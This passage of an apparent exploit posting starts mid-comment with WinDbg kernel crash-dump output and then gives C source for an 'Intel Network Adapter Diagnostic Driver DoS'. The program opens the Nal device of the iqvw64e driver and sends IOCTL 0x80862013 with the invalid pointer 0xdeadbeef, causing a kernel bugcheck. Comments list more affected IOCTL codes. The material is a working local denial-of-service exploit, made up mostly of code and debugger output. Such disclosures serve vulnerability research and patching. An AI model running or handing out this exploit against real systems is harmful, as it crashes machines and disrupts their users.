00000000`773dc34e b201 mov dl,1
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
00 fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction
|
|
|
|
3: kd> dd fffff8800653b8d0
|
|
fffff880`0653b8d0 80862013 00000000 0653bb60 fffff880
|
|
fffff880`0653b8e0 4d1084d0 fffffa80 4d01e160 fffffa80
|
|
fffff880`0653b8f0 746c6644 00000000 0653b928 fffff880
|
|
fffff880`0653b900 0653b968 fffff880 00000000 00000000
|
|
fffff880`0653b910 00000000 00000000 00000001 00000000
|
|
fffff880`0653b920 4c804e01 00000000 4d1084d0 fffffa80
|
|
fffff880`0653b930 00000000 00000000 00000000 00000000
|
|
fffff880`0653b940 4d01e160 fffffa80 76bdd0af 00000000
|
|
|
|
3: kd> !process 0 0
|
|
**** NT ACTIVE PROCESS DUMP ****
|
|
PROCESS fffffa8048f5f740
|
|
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
|
|
DirBase: 00187000 ObjectTable: fffff8a0000017f0 HandleCount: 535.
|
|
Image: System
|
|
.
|
|
.
|
|
.
|
|
|
|
PROCESS fffffa804d0f29e0
|
|
SessionId: 1 Cid: 0d9c Peb: 7efdf000 ParentCid: 0afc
|
|
DirBase: 1aac4b000 ObjectTable: fffff8a016893450 HandleCount: 13.
|
|
Image: ConsoleApplication7.exe
|
|
.
|
|
.
|
|
.
|
|
|
|
3: kd> !handle fffffa804d0f29e0 7
|
|
|
|
PROCESS fffffa804d0f29e0
|
|
SessionId: 1 Cid: 0d9c Peb: 7efdf000 ParentCid: 0afc
|
|
DirBase: 1aac4b000 ObjectTable: fffff8a016893450 HandleCount: 13.
|
|
Image: ConsoleApplication7.exe
|
|
|
|
Handle table at fffff8a016893450 with 13 entries in use
|
|
|
|
Invalid Handle: 0x4d0f29e0
|
|
|
|
3: kd> !process fffffa804d0f29e0 f
|
|
PROCESS fffffa804d0f29e0
|
|
SessionId: 1 Cid: 0d9c Peb: 7efdf000 ParentCid: 0afc
|
|
DirBase: 1aac4b000 ObjectTable: fffff8a016893450 HandleCount: 13.
|
|
Image: ConsoleApplication7.exe
|
|
VadRoot fffffa804a9eb220 Vads 30 Clone 0 Private 110. Modified 0. Locked 0.
|
|
DeviceMap fffff8a0022b5570
|
|
Token fffff8a01685d060
|
|
ElapsedTime 00:00:39.608
|
|
UserTime 00:00:00.000
|
|
KernelTime 00:00:00.000
|
|
QuotaPoolUsage[PagedPool] 20128
|
|
QuotaPoolUsage[NonPagedPool] 3360
|
|
Working Set Sizes (now,min,max) (510, 50, 345) (2040KB, 200KB, 1380KB)
|
|
PeakWorkingSetSize 510
|
|
VirtualSize 11 Mb
|
|
PeakVirtualSize 11 Mb
|
|
PageFaultCount 529
|
|
MemoryPriority BACKGROUND
|
|
BasePriority 8
|
|
CommitCharge 140
|
|
Job fffffa804d0fc080
|
|
|
|
THREAD fffffa804c800060 Cid 0d9c.0da0 Teb: 000000007efdb000 Win32Thread: 0000000000000000 RUNNING on processor 3
|
|
IRP List:
|
|
fffffa804d01e160: (0006,0118) Flags: 00060000 Mdl: 00000000
|
|
Not impersonating
|
|
DeviceMap fffff8a0022b5570
|
|
Owning Process fffffa804d0f29e0 Image: ConsoleApplication7.exe
|
|
Attached Process N/A Image: N/A
|
|
Wait Start TickCount 440956 Ticks: 0
|
|
Context Switch Count 31 IdealProcessor: 3
|
|
UserTime 00:00:00.000
|
|
KernelTime 00:00:00.000
|
|
*** WARNING: Unable to verify checksum for ConsoleApplication7.exe
|
|
*** ERROR: Module load completed but symbols could not be loaded for ConsoleApplication7.exe
|
|
Win32 Start Address ConsoleApplication7 (0x0000000000041354)
|
|
Stack Init fffff8800653bc70 Current fffff8800653b530
|
|
Base fffff8800653c000 Limit fffff88006536000 Call 0
|
|
Priority 11 BasePriority 8 UnusualBoost 0 ForegroundBoost 2 IoPriority 2 PagePriority 5
|
|
Child-SP RetAddr Call Site
|
|
fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction
|
|
fffff880`06539990 fffff800`037bc84e nt!KiBugCheckDebugBreak+0x12
|
|
fffff880`065399f0 fffff800`036cbf84 nt!KeBugCheck2+0x71e
|
|
fffff880`0653a0c0 fffff800`036cb429 nt!KeBugCheckEx+0x104
|
|
fffff880`0653a100 fffff800`036cad7c nt!KiBugCheckDispatch+0x69
|
|
fffff880`0653a240 fffff800`036f6a4d nt!KiSystemServiceHandler+0x7c
|
|
fffff880`0653a280 fffff800`036f5825 nt!RtlpExecuteHandlerForException+0xd
|
|
fffff880`0653a2b0 fffff800`037067b1 nt!RtlDispatchException+0x415
|
|
fffff880`0653a990 fffff800`036cb502 nt!KiDispatchException+0x135
|
|
fffff880`0653b030 fffff800`036ca07a nt!KiExceptionDispatch+0xc2
|
|
fffff880`0653b210 fffff880`05a0bfd2 nt!KiPageFault+0x23a (TrapFrame @ fffff880`0653b210)
|
|
fffff880`0653b3a0 fffff880`05a091ac iqvw64e+0x3fd2
|
|
fffff880`0653b8a0 fffff800`039e80f7 iqvw64e+0x11ac
|
|
fffff880`0653b8d0 fffff800`039e8956 nt!IopXxxControlFile+0x607
|
|
fffff880`0653ba00 fffff800`036cb113 nt!NtDeviceIoControlFile+0x56
|
|
fffff880`0653ba70 00000000`73b02e09 nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ fffff880`0653bae0)
|
|
00000000`0021e898 00000000`73b02944 wow64cpu!CpupSyscallStub+0x9
|
|
00000000`0021e8a0 00000000`73b7d286 wow64cpu!DeviceIoctlFileFault+0x31
|
|
00000000`0021e960 00000000`73b7c69e wow64!RunCpuSimulation+0xa
|
|
00000000`0021e9b0 00000000`773f4966 wow64!Wow64LdrpInitialize+0x42a
|
|
00000000`0021ef00 00000000`773f1937 ntdll!LdrpInitializeProcess+0x17e3
|
|
00000000`0021f3f0 00000000`773dc34e ntdll! ?? ::FNODOBFM::`string'+0x28ff0
|
|
00000000`0021f460 00000000`00000000 ntdll!LdrInitializeThunk+0xe
|
|
|
|
|
|
3: kd> !irp fffffa804d01e160
|
|
Irp is active with 1 stacks 1 is current (= 0xfffffa804d01e230)
|
|
No Mdl: No System Buffer: Thread fffffa804c800060: Irp stack trace.
|
|
cmd flg cl Device File Completion-Context
|
|
>[ e, 0] 5 0 fffffa804aac7b00 fffffa804d1084d0 00000000-00000000
|
|
\FileSystem\iqvw64e
|
|
Args: 00000000 00000000 80862013 deadbeef
|
|
|
|
3: kd> !object fffffa804aac7b00
|
|
Object: fffffa804aac7b00 Type: (fffffa804900af30) Device
|
|
ObjectHeader: fffffa804aac7ad0 (new version)
|
|
HandleCount: 0 PointerCount: 2
|
|
Directory Object: fffff8a000010060 Name: Nal
|
|
|
|
3: kd> dt_IO_STACK_LOCATION 0xfffffa804d01e230
|
|
ntdll!_IO_STACK_LOCATION
|
|
+0x000 MajorFunction : 0xe ''
|
|
+0x001 MinorFunction : 0 ''
|
|
+0x002 Flags : 0x5 ''
|
|
+0x003 Control : 0 ''
|
|
+0x008 Parameters : <unnamed-tag>
|
|
+0x028 DeviceObject : 0xfffffa80`4aac7b00 _DEVICE_OBJECT
|
|
+0x030 FileObject : 0xfffffa80`4d1084d0 _FILE_OBJECT
|
|
+0x038 CompletionRoutine : (null)
|
|
+0x040 Context : (null)
|
|
|
|
3: kd> !devobj 0xfffffa80`4aac7b00 7
|
|
Device object (fffffa804aac7b00) is for:
|
|
Nal \FileSystem\iqvw64e DriverObject fffffa804b0f4d70
|
|
Current Irp 00000000 RefCount 1 Type 00008086 Flags 00000044
|
|
Dacl fffff9a10008c391 DevExt fffffa804aac7c50 DevObjExt fffffa804aac7c68
|
|
ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT
|
|
Characteristics (0000000000)
|
|
Device queue is not busy.
|
|
|
|
3: kd> !drvobj fffffa804b0f4d70 7
|
|
Driver object (fffffa804b0f4d70) is for:
|
|
\FileSystem\iqvw64e
|
|
Driver Extension List: (id , addr)
|
|
|
|
Device Object list:
|
|
fffffa804aac7b00
|
|
|
|
DriverEntry: fffff88005fda200 iqvw64e
|
|
DriverStartIo: 00000000
|
|
DriverUnload: fffff88005a09010 iqvw64e
|
|
AddDevice: 00000000
|
|
|
|
Dispatch routines:
|
|
[00] IRP_MJ_CREATE fffff88005a09090 iqvw64e+0x1090
|
|
[01] IRP_MJ_CREATE_NAMED_PIPE fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[02] IRP_MJ_CLOSE fffff88005a090f0 iqvw64e+0x10f0
|
|
[03] IRP_MJ_READ fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[04] IRP_MJ_WRITE fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[05] IRP_MJ_QUERY_INFORMATION fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[06] IRP_MJ_SET_INFORMATION fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[07] IRP_MJ_QUERY_EA fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[08] IRP_MJ_SET_EA fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[09] IRP_MJ_FLUSH_BUFFERS fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[0b] IRP_MJ_SET_VOLUME_INFORMATION fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[0c] IRP_MJ_DIRECTORY_CONTROL fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[0d] IRP_MJ_FILE_SYSTEM_CONTROL fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[0e] IRP_MJ_DEVICE_CONTROL fffff88005a09150 iqvw64e+0x1150
|
|
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[10] IRP_MJ_SHUTDOWN fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[11] IRP_MJ_LOCK_CONTROL fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[12] IRP_MJ_CLEANUP fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[13] IRP_MJ_CREATE_MAILSLOT fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[14] IRP_MJ_QUERY_SECURITY fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[15] IRP_MJ_SET_SECURITY fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[16] IRP_MJ_POWER fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[17] IRP_MJ_SYSTEM_CONTROL fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[18] IRP_MJ_DEVICE_CHANGE fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[19] IRP_MJ_QUERY_QUOTA fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[1a] IRP_MJ_SET_QUOTA fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
[1b] IRP_MJ_PNP fffff800036b0e30 nt!IopInvalidDeviceRequest
|
|
|
|
|
|
*/
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <conio.h>
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
HANDLE hDevice;
|
|
DWORD bret;
|
|
char szDevice[] = "\\\\.\\Nal";
|
|
|
|
printf("--[ Intel Network Adapter Diagnostic Driver DoS ]--\n");
|
|
|
|
printf("Opening handle to driver..\n");
|
|
// CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDispoition, dwFlagsAndAttributes, hTemplateFile)
|
|
if ((hDevice = CreateFileA(szDevice, GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,NULL)) != INVALID_HANDLE_VALUE) {
|
|
printf("Device %s succesfully opened!\n", szDevice);
|
|
printf("\tHandle: %p\n", hDevice);
|
|
}
|
|
else
|
|
{
|
|
printf("Error: Error opening device %s\n", szDevice);
|
|
}
|
|
|
|
printf("\nPress any key to DoS..");
|
|
_getch();
|
|
|
|
bret = 0;
|
|
// Affected IOCTL codes: 0x80862013, 0x8086200B, 0x8086200F, 0x80862007
|
|
// DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped)
|
|
if (!DeviceIoControl(hDevice, 0x80862013, (LPVOID)0xdeadbeef, 0x0, (LPVOID)0xdeadbeef, 0x0, &bret, NULL))
|
|
{
|
|
printf("DeviceIoControl Error - bytes returned %#x\n", bret);
|
|
}
|
|
|
|
CloseHandle(hDevice);
|
|
return 0;
|
|
} |